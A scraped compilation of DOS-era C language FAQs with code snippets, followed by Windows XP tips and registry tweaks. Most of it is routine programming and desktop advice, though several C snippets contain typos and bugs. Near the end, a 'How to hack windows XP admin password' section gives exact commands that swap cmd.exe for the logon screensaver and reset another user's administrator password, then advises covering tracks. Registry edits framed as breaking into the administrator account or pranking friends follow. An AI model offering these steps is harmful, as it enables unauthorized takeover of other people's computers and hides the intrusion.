'C' language faqs

19.

How do I write a user-defined function, which deletes each character in a string str1, which matches any character in string str2?

Ans: The function is as shown below:

Compress ( char str1[], char str2[] )
{
int i, j, k ;

for ( i = k = 0 ; str1[i] != ‘\0’ ; i++ )
{
for ( j = 0 ; str2[j] != ‘\0’ && str2[j] !=
str1[i] ; j++ )
;
if ( str2[j] == ‘\0’ )
str1[k++] = str1[I] ;
}
str1[k] = ‘\0’
}
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20.

How does free( ) know how many bytes to free?

Ans: The malloc( ) / free( ) implementation remembers the size of each block allocated and returned, so it is not necessary to remind it of the size when freeing.
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21.

What is the use of randomize( ) and srand( ) function?

Ans: While generating random numbers in a program, sometimes we require to control the series of numbers that random number generator creates. The process of assigning the random number generators starting number is called seeding the generator. The randomize( ) and srand( ) functions are used to seed the random number generators. The randomize( ) function uses PC's clock to produce a random seed, whereas the srand( ) function allows us to specify the random number generator's starting value.

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22.

How do I determine amount of memory currently available for allocating?

Ans: We can use function coreleft( ) to get the amount of memory available for allocation. However, this function does not give an exact amount of unused memory. If, we are using a small memory model, coreleft( ) returns the amount of unused memory between the top of the heap and stack. If we are using a larger model, this function returns the amount of memory between the highest allocated memory and the end of conventional memory. The function returns amount of memory in terms of bytes.

-------------------------------------------------------------------------------------23.

How does a C program come to know about command line arguments?

Ans: When we execute our C program, operating system loads the program into memory. In case of DOS, it first loads 256 bytes into memory, called program segment prefix. This contains file table, environment segment, and command line information. When we compile the C program the compiler inserts additional code that parses the command, assigning it to the argv array, making the arguments easily accessible within our C program.

24.
When we open a file, how does functions like fread( )/fwrite( ), etc. get to know from where to read or to write the data?

Ans: When we open a file for read/write operation using function like fopen( ), it returns a pointer to the structure of type FILE. This structure stores the file pointer called position pointer, which keeps track of current location within the file. On opening file for read/write operation, the file pointer is set to the start of the file. Each time we read/write a character, the position pointer advances one character. If we read one line of text at a step from the file, then file pointer advances to the start of the next line. If the file is opened in append mode, the file pointer is placed at the very end of the file. Using fseek( ) function we can set the file pointer to some other place within the file.
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25.

The sizeof( ) function doesn’t return the size of the block of memory pointed to by a pointer. Why?

Ans: The sizeof( ) operator does not know that malloc( ) has been used to allocate a pointer. sizeof( ) gives us the size of pointer itself. There is no handy way to find out the size of a block allocated by malloc( ).
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26.
FP_SEG And FP_OFF…
Sometimes while working with far pointers we need to break a far address into its segment and offset. In such situations we can use FP_SEG and FP_OFF macros. Following program illustrates the use of these two macros.
#include

main( )
{
unsigned s, o ;
char far *ptr = "Hello!" ;

s = FP_SEG ( ptr ) ;
o = FP_OFF ( ptr ) ;
printf ( "\n%u %u", s, o ) ;
}

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27.

How do I write a program to convert a string containing number in a hexadecimal form to its equivalent decimal?
Ans: The following program demonstrates this:
main( )
{
char str[] = "0AB" ;
int h, hex, i, n ;
n = 0 ; h = 1 ;
for ( i = 0 ; h == 1 ; i++ )
{
if ( str[i] >= '0' && str[i] <= '9' )
hex = str[i] - '0' ;
else
{
if ( str[i] >= 'a' && str[i] <= 'f' )
hex = str[i] - 'a' + 10 ;
else
if ( str[i] >= 'A' && str[i] <= 'F' )
hex = str[i] - 'A' + 10 ;
else
h = 0 ;
}
if ( h == 1 )
n = 16 * n + hex ;
}
printf ( "\nThe decimal equivalent of %s is %d",
str, n ) ;
}
The output of this program would be the decimal equivalent of 0AB is 171.
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28.

How do I write code that reads the segment register settings?

Ans: We can use segread( ) function to read segment register settings. There are four segment registers—code segment, data segment, stack segment and extra segment. Sometimes when we use DOS and BIOS services in a program we need to know the segment register's value. In such a situation we can use segread( ) function. The following program illustrates the use of this function.
#include
main( )
{
struct SREGS s ;
segread ( &s ) ;
printf ( "\nCS: %X DS: %X SS: %X ES: %X",s.cs,
s.ds, s.ss, s.es ) ;
}
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29.

What is environment and how do I get environment for a specific entry?

Ans: While working in DOS, it stores information in a memory region called environment. In this region we can place configuration settings such as command path, system prompt, etc. Sometimes in a program we need to access the information contained in environment. The function getenv( ) can be used when we want to access environment for a specific entry. Following program demonstrates the use of this function.
#include
#include

main( )
{
char *path = NULL ;

path = getenv ( "PATH" ) ;
if ( *path != NULL )
printf ( "\nPath: %s", path ) ;
else
printf ( "\nPath is not set" ) ;
}

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30.

How do I display current date in the format given below?

Saturday October 12, 2002
Ans: Following program illustrates how we can display date in above given format.

#include
#include

main( )
{
struct tm *curtime ;
time_t dtime ;

char str[30] ;

time ( &dtime ) ;
curtime = localtime ( &dtime ) ;
strftime ( str, 30, "%A %B %d, %Y", curtime ) ;

printf ( "\n%s", str ) ;
}
Here we have called time( ) function which returns current time. This time is returned in terms of seconds, elapsed since 00:00:00 GMT, January 1, 1970. To extract the week day, day of month, etc. from this value we need to break down the value to a tm structure. This is done by the function localtime( ). Then we have called strftime( ) function to format the time and store it in a string str.

31.
If we have declared an array as global in one file and we are using it in another file then why doesn't the sizeof operator works on an extern array?

Ans: An extern array is of incomplete type as it does not contain the size. Hence we cannot use sizeof operator, as it cannot get the size of the array declared in another file. To resolve this use any of one the following two solutions:
1. In the same file declare one more variable that holds the size of array. For example,

array.c

int arr[5] ;
int arrsz = sizeof ( arr ) ;

myprog.c

extern int arr[] ;
extern int arrsz ;
2. Define a macro which can be used in an array
declaration. For example,

myheader.h

#define SZ 5

array.c

#include "myheader.h"
int arr[SZ] ;

myprog.c

#include "myheader.h"
extern int arr[SZ] ;

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32.

How do I write printf( ) so that the width of a field can be specified at runtime?

Ans: This is shown in following code snippet.

main( )
{
int w, no ;
printf ( "Enter number and the width for the
number field:" ) ;
scanf ( "%d%d", &no, &w ) ;
printf ( "%*d", w, no ) ;
}
Here, an '*' in the format specifier in printf( ) indicates that an int value from the argument list should be used for the field width.
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33.

How to find the row and column dimension of a given 2-D array?

Ans: Whenever we initialize a 2-D array at the same place where it has been declared, it is not necessary to mention the row dimension of an array. The row and column dimensions of such an array can be determined programmatically as shown in following program.

void main( )
{
int a[][3] = { 0, 1, 2,
9,-6, 8,
7, 5, 44,
23, 11,15 } ;

int c = sizeof ( a[0] ) / sizeof ( int ) ;
int r = ( sizeof ( a ) / sizeof ( int ) ) / c ;
int i, j ;

printf ( "\nRow: %d\nCol: %d\n", r, c ) ;
for ( i = 0 ; i < r ; i++ )
{
for ( j = 0 ; j < c ; j++ )
printf ( "%d ", a[i][j] ) ;
printf ( "\n" ) ;
}
}
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34.

The access( ) function...

The access( ) function checks for the existence of a file and also determines whether it can be read, written to or executed. This function takes two arguments the filename and an integer indicating the access mode. The values 6, 4, 2, and 1 checks for read/write, read, write and execute permission of a given file, whereas value 0 checks whether the file exists or not. Following program demonstrates how we can use access( ) function to check if a given file exists.


#include

main( )
{
char fname[67] ;

printf ( "\nEnter name of file to open" ) ;
gets ( fname ) ;

if ( access ( fname, 0 ) != 0 )
{
printf ( "\nFile does not exist." ) ;
return ;
}
}

-------------------------------------------------------------------------------------35.

How do I convert a floating-point number to a string?

Ans: Use function gcvt( ) to convert a floating-point number to a string. Following program demonstrates the use of this function.
#include

main( )
{
char str[25] ;
float no ;
int dg = 5 ; /* significant digits */

no = 14.3216 ;
gcvt ( no, dg, str ) ;
printf ( "String: %s\n", str ) ;
}

36.
What is a stack ?

Ans: The stack is a region of memory within which our programs temporarily store data as they execute. For example, when a program passes parameters to functions, C places the parameters on the stack. When the function completes, C removes the items from the stack. Similarly, when a function declares local variables, C stores the variable's values on the stack during the function's execution. Depending on the program's use of functions and parameters, the amount of stack space that a program requires will differ.
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37.
Allocating memory for a 3-D array

#include "alloc.h"
#define MAXX 3
#define MAXY 4
#define MAXZ 5
main( )
{
int ***p, i, j, k ;
p = ( int *** ) malloc ( MAXX * sizeof ( int ** ) ) ;
for ( i = 0 ; i < MAXX ; i++ )
{
p[i] = ( int ** ) malloc ( MAXY * sizeof ( int * ) ) ;
for ( j = 0 ; j < MAXY ; j++ )
p[i][j] = ( int * ) malloc ( MAXZ * sizeof ( int ) ) ;
}
for ( k = 0 ; k < MAXZ ; k++ )
{
for ( i = 0 ; i < MAXX ; i++ )
{
for ( j = 0 ; j < MAXY ; j++ )
{
p[i][j][k] = i + j + k ;
printf ( "%d ", p[i][j][k] ) ;
}
printf ( "\n" ) ;
}
printf ( "\n\n" ) ;
}
}
Data Structures
How to distinguish between a binary tree and a tree?

Ans: A node in a tree can have any number of branches. While a binary tree is a tree structure in which any node can have at most two branches. For binary trees we distinguish between the subtree on the left and subtree on the right, whereas for trees the order of the subtrees is irrelevant.
Consider the following figure...
This above figure shows two binary trees, but these binary trees are different. The first has an empty right subtree while the second has an empty left subtree. If the above are regarded as trees (not the binary trees), then they are same despite the fact that they are drawn differently. Also, an empty binary tree can exist, but there is no tree having zero nodes.
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38.
How do I use the function ldexp( ) in a program?

Ans: The math function ldexp( ) is used while solving the complex mathematical equations. This function takes two arguments, a double value and an int respectively. The order in which ldexp( ) function performs calculations is ( n * pow ( 2, exp ) ) where n is the double value and exp is the integer. The following program demonstrates the use of this function.

#include
#include

void main( )
{
double ans ;
double n = 4 ;

ans = ldexp ( n, 2 ) ;
printf ( "\nThe ldexp value is : %lf\n", ans ) ;
}
Here, ldexp( ) function would get expanded as ( 4 * 2 * 2 ), and the output would be the ldexp value is : 16.000000
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39.
Can we get the mantissa and exponent form of a given number?

Ans: The function frexp( ) splits the given number into a mantissa and exponent form. The function takes two arguments, the number to be converted as a double value and an int to store the exponent form. The function returns the mantissa part as a double value. Following example demonstrates the use of this function.

#include
#include

void main( )
{
double mantissa, number ;
int exponent ;

number = 8.0 ;
mantissa = frexp ( number, &exponent ) ;

printf ( "The number %lf is ", number ) ;
printf ( "%lf times two to the ", mantissa ) ;
printf ( "power of %d\n", exponent ) ;

return 0 ;
}
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40.

How do I write code that executes certain function only at program termination?
Ans: Use atexit( ) function as shown in following program.

#include
main( )
{
int ch ;
void fun ( void ) ;
atexit ( fun ) ;
// code
}
void fun( void )
{
printf ( "\nTerminate program......" ) ;
getch( ) ;
}
-------------------------------------------------------------------------------------41.
What are memory models?
Ans: The compiler uses a memory model to determine how much memory is allocated to the program. The PC divides memory into blocks called segments of size 64 KB. Usually, program uses one segment for code and a second segment for data. A memory model defines the number of segments the compiler can use for each. It is important to know which memory model can be used for a program. If we use wrong memory model, the program might not have enough memory to execute. The problem can be solved using larger memory model. However, larger the memory model, slower is your program execution. So we must choose the smallest memory model that satisfies our program needs. Most of the compilers support memory models like tiny, small, medium, compact, large and huge.

42.
What would the second and the third printf( ) output the following program?
main( )
{
char *str[ ] = {
"Good Morning"
"Good Evening"
"Good Afternoon"
} ;
printf ( "\nFirst string = %s", str[0] ) ;
printf ( "\nSecond string = %s", str[1] ) ;
printf ( "\nThird string = %s", str[2] ) ;
}
Ans: For the above given program, we expect the output as Good Evening and Good Afternoon, for the second and third printf( ). However, the output would be as shown below.

First string = Good MorningGood EveningGood Afternoon
Second string = ( null )
Third string =

What is missing in the above given code snippet is a comma separator which should separate the strings Good Morning, Good Evening and Good Afternoon. On adding comma, we would get the output as shown below.

First string = Good Morning
Second string = Good Evening
Third string = Good Afternoon
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43.

How do I use scanf( ) to read the date in the form 'dd-mm-yy' ?
Ans: There are two ways to read the date in the form of 'dd-mm-yy' one possible way is...

int dd, mm, yy ;
char ch ; /* for char '-' */
printf ( "\nEnter the date in the form of dd-mm-yy : " ) ;
scanf( "%d%c%d%c%d", &dd, &ch, &mm, &ch, &yy ) ;

And another best way is to use suppression character * as...

int dd, mm, yy ;
scanf( "%d%*c%d%*c%d", &dd, &mm, &yy ) ;

The suppression character * suppresses the input read from the standard input buffer for the assigned control character.
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44.

How do I print a floating-point number with higher precision say 23.34568734 with only precision up to two decimal places?

Ans: This can be achieved through the use of suppression char '*' in the format string of printf( ) as shown in the following program.
main( )
{
int i = 2 ;
float f = 23.34568734 ;
printf ( "%.*f", i, f ) ;
}
The output of the above program would be 23.35.

------------------------------------------------------------------------------------
45.
Are the expressions *ptr++ and ++*ptr same?

Ans: No. *ptr++ increments the pointer and not the value pointed by it, whereas ++*ptr increments the value being pointed to by ptr.
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46.
strpbrk( )

The function strpbrk( ) takes two strings as parameters. It scans the first string, to find, the first occurrence of any character appearing in the second string. The function returns a pointer to the first occurrence of the character it found in the first string. The following program demonstrates the use of string function strpbrk( ).

#include
main( )
{
char *str1 = "Hello!" ;
char *str2 = "Better" ;
char *p ;
p = strpbrk ( str1, str2 ) ;

if ( p )
printf ( "The first character found in str1 is %c", *p ) ;
else
printf ( "The character not found" ) ;
}
The output of the above program would be the first character found in str1 is e

'C' language techno tips

1.

What will be the output of the following code?

void main ()

{ int i = 0 , a[3] ;

a[i] = i++;

printf (“%d",a[i]) ;

}

Ans: The output for the above code would be a garbage value. In the statement a[i] = i++; the value of the variable i would get assigned first to a[i] i.e. a[0] and then the value of i would get incremented by 1. Since a[i] i.e. a[1] has not been initialized, a[i] will have a garbage value.

2.

Why doesn't the following code give the desired result?

int x = 3000, y = 2000 ;
long int z = x * y ;
Ans: Here the multiplication is carried out between two ints x and y, and the result that would overflow would be truncated before being assigned to the variable z of type long int. However, to get the correct output, we should use an explicit cast to force long arithmetic as shown below:

long int z = ( long int ) x * y ;
Note that ( long int )( x * y ) would not give the desired effect.

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3.

Why doesn't the following statement work?

char str[ ] = "Hello" ;
strcat ( str, '!' ) ;
Ans: The string function strcat( ) concatenates strings and not a character. The basic difference between a string and a character is that a string is a collection of characters, represented by an array of characters whereas a character is a single character. To make the above statement work writes the statement as shown below:
strcat ( str, "!" ) ;

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4.

How do I know how many elements an array can hold?

Ans: The amount of memory an array can consume depends on the data type of an array. In DOS environment, the amount of memory an array can consume depends on the current memory model (i.e. Tiny, Small, Large, Huge, etc.). In general an array cannot consume more than 64 kb. Consider following program, which shows the maximum number of elements an array of type int, float and char can have in case of Small memory model.
main( )
{
int i[32767] ;
float f[16383] ;
char s[65535] ;
}
-------------------------------------------------------------------------------------

5.

How do I write code that reads data at memory location specified by segment and offset?

Ans: Use peekb( ) function. This function returns byte(s) read from specific segment and offset locations in memory. The following program illustrates use of this function. In this program from VDU memory we have read characters and its attributes of the first row. The information stored in file is then further read and displayed using peek( ) function.

#include
#include

main( )
{

char far *scr = 0xB8000000 ;
FILE *fp ;
int offset ;
char ch ;

if ( ( fp = fopen ( "scr.dat", "wb" ) ) == NULL )
{

printf ( "\nUnable to open file" ) ;
exit( ) ;

}

// reads and writes to file
for ( offset = 0 ; offset < 160 ; offset++ )
fprintf ( fp, "%c", peekb ( scr, offset ) ) ;
fclose ( fp ) ;

if ( ( fp = fopen ( "scr.dat", "rb" ) ) == NULL )
{

printf ( "\nUnable to open file" ) ;
exit( ) ;

}

// reads and writes to file
for ( offset = 0 ; offset < 160 ; offset++ )
{

fscanf ( fp, "%c", &ch ) ;
printf ( "%c", ch ) ;

}

fclose ( fp ) ;

}
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6.
How do I compare character data stored at two different memory locations?
Ans: Sometimes in a program we require to compare memory ranges containing strings. In such a situation we can use functions like memcmp( ) or memicmp( ). The basic difference between two functions is that memcmp( ) does a case-sensitive comparison whereas memicmp( ) ignores case of characters. Following program illustrates the use of both the functions.

#include

main( )
{
char *arr1 = "Kicit" ;
char *arr2 = "kicitNagpur" ;

int c ;

c = memcmp ( arr1, arr2, sizeof ( arr1 ) ) ;

if ( c == 0 )
printf ( "\nStrings arr1 and arr2 compared using memcmp are identical" ) ;

else
printf ( "\nStrings arr1 and arr2 compared using memcmp are not identical"
) ;

c = memicmp ( arr1, arr2, sizeof ( arr1 ) ) ;

if ( c == 0 )
printf ( "\nStrings arr1 and arr2 compared using memicmp are identical" )
;
else
printf ( "\nStrings arr1 and arr2 compared using memicmp are not
identical" ) ;
}

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7.
Fixed-size objects are more appropriate as compared to variable size data objects. Using variable-size data objects saves very little space. Variable size data objects usually have some overhead. Manipulation of fixed-size data objects is usually faster and easier. Use fixed size when maximum size is clearly bounded and close to average. And use variable-size data objects when a few of the data items are bigger than the average size. For example,

char *num[10] = { "One", "Two", "Three", "Four",
"Five", "Six", "Seven", "Eight", "Nine", "Ten" } ;

Instead of using the above, use

char num[10][6] = { "One", "Two", "Three", "Four",
"Five", "Six", "Seven", "Eight", "Nine", "Ten" } ;

The first form uses variable-size data objects. It allocates 10 pointers, which are pointing to 10 string constants of variable size. Assuming each pointer is of 4 bytes, it requires 90 bytes. On the other hand, the second form uses fixed size data objects. It allocates 10 arrays of 6 characters each. It requires only 60 bytes of space. So, the variable-size in this case does not offer any advantage over fixed size.
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8.

The Spawnl( ) function...

DOS is a single tasking operating system, thus only one program runs at a time. The Spawnl( ) function provides us with the capability of starting the execution of one program from within another program. The first program is called the parent process and the second program that gets called from within the first program is called a child process. Once the second program starts execution, the first is put on hold until the second program completes execution. The first program is then restarted. The following program demonstrates use of spawnl( ) function.

/* Mult.c */

int main ( int argc, char* argv[ ] )
{
int a[3], i, ret ;
if ( argc < 3 || argc > 3 )
{
printf ( "Too many or Too few arguments..." ) ;
exit ( 0 ) ;
}

for ( i = 1 ; i < argc ; i++ )
a[i] = atoi ( argv[i] ) ;
ret = a[1] * a[2] ;
return ret ;
}

/* Spawn.c */
#include
#include

main( )
{
int val ;
val = spawnl ( P_WAIT, "C:\\Mult.exe", "3", "10",
"20", NULL ) ;
printf ( "\nReturned value is: %d", val ) ;
}

Here, there are two programs. The program 'Mult.exe' works as a child process whereas 'Spawn.exe' works as a parent process. On execution of 'Spawn.exe' it invokes 'Mult.exe' and passes the command-line arguments to it. 'Mult.exe' in turn on execution, calculates the product of 10 and 20 and returns the value to val in 'Spawn.exe'. In our call to spawnl( ) function, we have passed 6 parameters, P_WAIT as the mode of execution, path of '.exe' file to run as child process, total number of arguments to be passed to the child process, list of command line arguments and NULL. P_WAIT will cause our application to freeze execution until the child process has completed its execution. This parameter needs to be passed as the default parameter if you are working under DOS. under other operating systems that support multitasking, this parameter can be P_NOWAIT or P_OVERLAY. P_NOWAIT will cause the parent process to execute along with the child process, P_OVERLAY will load the child process on top of the parent process in the memory.
-------------------------------------------------------------------------------------
9.

Are the following two statements identical?


char str[6] = "Kicit" ;
char *str = "Kicit" ;
Ans: No! Arrays are not pointers. An array is a single, pre-allocated chunk of contiguous elements (all of the same type), fixed in size and location. A pointer on the other hand, is a reference to any data element (of a particular type) located anywhere. A pointer must be assigned to point to space allocated elsewhere, but it can be reassigned any time. The array declaration char str[6] ; requests that space for 6 characters be set aside, to be known
by name str. In other words there is a location named str at which six characters are stored. The pointer declaration char *str ; on the other hand, requests a place that holds a pointer, to be known by the name str. This pointer can point almost anywhere to any char, to any contiguous array of chars, or nowhere.
-------------------------------------------------------------------------------------
10.

Is the following code fragment correct?

const int x = 10 ;
int arr[x] ;
Ans: No! Here, the variable x is first declared as an int so memory is reserved for it. Then it is qualified by a const qualifier. Hence, const qualified object is not a constant fully. It is an object with read only attribute, and in C, an object associated with memory cannot be used in array dimensions.
11.
How do I write code to retrieve current date and time from the system and display it as a string?

Ans: Use time( ) function to get current date and time and then ctime( ) function to display it as a string. This is shown in following code snippet.

#include

void main( )
{
time_t curtime ;
char ctm[50] ;

time ( &curtime ) ; //retrieves current time &
stores in curtime
printf ( "\nCurrent Date & Time: %s", ctime (
&curtime ) ) ;
}

-------------------------------------------------------------------------------------
12.

How do I change the type of cursor and hide a cursor?

Ans: We can change the cursor type by using function _setcursortype( ). This function can change the cursor type to solid cursor and can even hide a cursor. Following code shows how to change the cursor type and hide cursor.

#include
main( )
{
/* Hide cursor */
_setcursortype ( _NOCURSOR ) ;

/* Change cursor to a solid cursor */
_setcursortype ( _SOLIDCURSOR ) ;

/* Change back to the normal cursor */
_setcursortype ( _NORMALCURSOR ) ;
}
-------------------------------------------------------------------------------------
13.

How do I write code that would get error number and display error message if any standard error occurs?

Ans: Following code demonstrates this.

#include
#include
#include

main( )
{
char *errmsg ;
FILE *fp ;
fp = fopen ( "C:\file.txt", "r" ) ;
if ( fp == NULL )
{
errmsg = strerror ( errno ) ;
printf ( "\n%s", errmsg ) ;
}
}
Here, we are trying to open 'file.txt' file. However, if the file does not exist, then it would cause an error. As a result, a value (in this case 2) related to the error generated would get set in errno. errno is an external int variable declared in 'stdlib.h' and also in 'errno.h'. Next, we have called sterror( ) function which takes an error number and returns a pointer to standard error message related to the given error number.
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14.

How do I write code to get the current drive as well as set the current drive?

Ans: The function getdisk( ) returns the drive number of current drive. The drive number 0 indicates 'A' as the current drive, 1 as 'B' and so on. The Setdisk( ) function sets the current drive. This function takes one argument which is an integer indicating the drive to be set. Following program demonstrates use of both the functions.

#include

main( )
{
int dno, maxdr ;

dno = getdisk( ) ;
printf ( "\nThe current drive is: %c\n", 65 + dno
) ;

maxdr = setdisk ( 3 ) ;
dno = getdisk( ) ;
printf ( "\nNow the current drive is: %c\n", 65 +
dno ) ;
}
-------------------------------------------------------------------------------------
15.

The functions memcmp( ) and memicmp( )

The functions memcmp( ) and memicmp( ) compares first n bytes of given two blocks of memory or strings. However, memcmp( ) performs comparison as unsigned chars whereas memicmp( ) performs comparison as chars but ignores case (i.e. upper or lower case). Both the functions return an integer value where 0 indicates that two memory buffers compared are identical. If the value returned is greater than 0 then it indicates that the first buffer is bigger than the second one. The value less than 0 indicate that the first buffer is less than the second buffer. The following code snippet demonstrates use of both

#include
#include

main( )
{
char str1[] = "This string contains some
characters" ;
char str2[] = "this string contains" ;
int result ;

result = memcmp ( str1, str2, strlen ( str2 ) ) ;
printf ( "\nResult after comapring buffer using
memcmp( )" ) ;
show ( result ) ;

result = memicmp ( str1, str2, strlen ( str2 ) ) ;
printf ( "\nResult after comapring buffer using
memicmp( )" ) ;
show ( result ) ;
}

show ( int r )
{
if ( r == 0 )
printf ( "\nThe buffer str1 and str2 hold
identical data" ) ;
if ( r > 0 )
printf ( "\nThe buffer str1 is bigger than buffer
str2" ) ;
if ( r < 0 )
printf ( "\nThe buffer str1 is less than buffer
str2" ) ;
}
-------------------------------------------------------------------------------------
16.

How do I write code to find an amount of free disk space available on current drive?

Ans: Use getdfree( ) function as shown in follow code.

#include
#include
#include
#include

main( )
{
int dr ; struct dfree disk ;
long freesp ;

dr = getdisk( ) ;
getdfree ( dr + 1 , &disk ) ;

if ( disk.df_sclus == 0xFFFF )
{
printf ( "\ngetdfree( ) function failed\n");
exit ( 1 ) ;
}

freesp = ( long ) disk.df_avail
* ( long ) disk.df_bsec
* ( long ) disk.df_sclus ;
printf ( "\nThe current drive %c: has %ld bytes
available as free space\n", 'A' + dr, freesp ) ;
}
17.
Use of array indices...
If we wish to store a character in a char variable ch and the character to be stored depends on the value of another variable say color (of type int), then the code would be as shown below:

switch ( color )
{
case 0 :
ch = 'R' ;
break ;
case 1 :
ch = 'G' ;
break ;
case 2 :
ch = 'B' ;
break ;
}
In place of switch-case we can make use of the value in color as an index for a character array. How to do this is shown in following code snippet.

char *str = "RGB' ;
char ch ;
int color ;
// code
ch = str[ color ] ;
-------------------------------------------------------------------------------------
18.

Function atexit( ) recevies parameter as the address of function of the type void fun ( void ). The function whose address is passed to atexit( ) gets called before the termination of program. If atexit( ) is called for more than one function then the functions are called in "first in last out" order. You can verify that from the output.

#include
#include
void fun1( )
{
printf("Inside fun1\n");
}

void fun2( )
{
printf("Inside fun2\n");
}
main( )
{
atexit ( fun1 ) ;
/* some code */
atexit ( fun2 ) ;
printf ( "This is the last statement of
program?\n" );
}

-------------------------------------------------------------------------------------

Note Pad Tip

Open a blank Notepad file
Write .LOG as the first line of the file, followed by a enter. Save the file and close it.
Double-click the file to open it and notice that Notepad appends the current date and time to the end of the file and places the cursor on the line after.
Type your notes and then save and close the file.
Each time you open the file, Notepad repeats the process, appending the time and date to the end of the file and placing the cursor below it.

Disable CD Autorun

) Click Start, Run and enter GPEDIT.MSC

2) Go to Computer Configuration, Administrative Templates, System.

3) Locate the entry for Turn autoplay off and modify it as you desire

Make your Folders Private

•Open My Computer
•Double-click the drive where Windows is installed (usually drive (C:), unless you have more than one drive on your computer).
•If the contents of the drive are hidden, under System Tasks, click Show the contents of this drive.
•Double-click the Documents and Settings folder.
•Double-click your user folder.
•Right-click any folder in your user profile, and then click Properties.
•On the Sharing tab, select the Make this folder private so that only I have access to it check box.


Note

•To open My Computer, click Start, and then click My Computer.
•This option is only available for folders included in your user profile. Folders in your user profile include My Documents and its subfolders, Desktop, Start Menu, Cookies, and Favorites. If you do not make these folders private, they are available to everyone who uses your computer.
•When you make a folder private, all of its subfolders are private as well. For example, when you make My Documents private, you also make My Music and My Pictures private. When you share a folder, you also share all of its subfolders unless you make them private.
•You cannot make your folders private if your drive is not formatted as NTFS For information about converting your drive to NTFS

How to Rename the Recycle Bin

To change the name of the Recycle Bin desktop icon, open Regedit and go to:

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}

and change the name "Recycle Bin" to whatever you want (don't type any quotes).

Speed up your browsing of Windows 2000 & XP machines

Here's a great tip to speed up your browsing of Windows XP machines. Its actually a fix to a bug installed as default in Windows 2000 that scans shared files for Scheduled Tasks. And it turns out that you can experience a delay as long as 30 seconds when you try to view shared files across a network because Windows 2000 is using the extra time to search the remote computer for any Scheduled Tasks. Note that though the fix is originally intended for only those affected, Windows 2000 users will experience that the actual browsing speed of both the Internet & Windows Explorers improve significantly after applying it since it doesn't search for Scheduled Tasks anymore. Here's how :

Open up the Registry and go to :

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace

Under that branch, select the key :

{D6277990-4C6A-11CF-8D87-00AA0060F5BF}

and delete it.

This is key that instructs Windows to search for Scheduled Tasks. If you like you may want to export the exact branch so that you can restore the key if necessary.

This fix is so effective that it doesn't require a reboot and you can almost immediately determine yourself how much it speeds up your browsing processes.

How to make your Desktop Icons Transparent

Go to ontrol Panel > System, > Advanced > Performance area > Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"

WINDOWS TIPS COLLECTION

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks



Registry Hacking

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:

Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

GPEDIT.MSC And Autoplay

A great tweaking file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:

[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

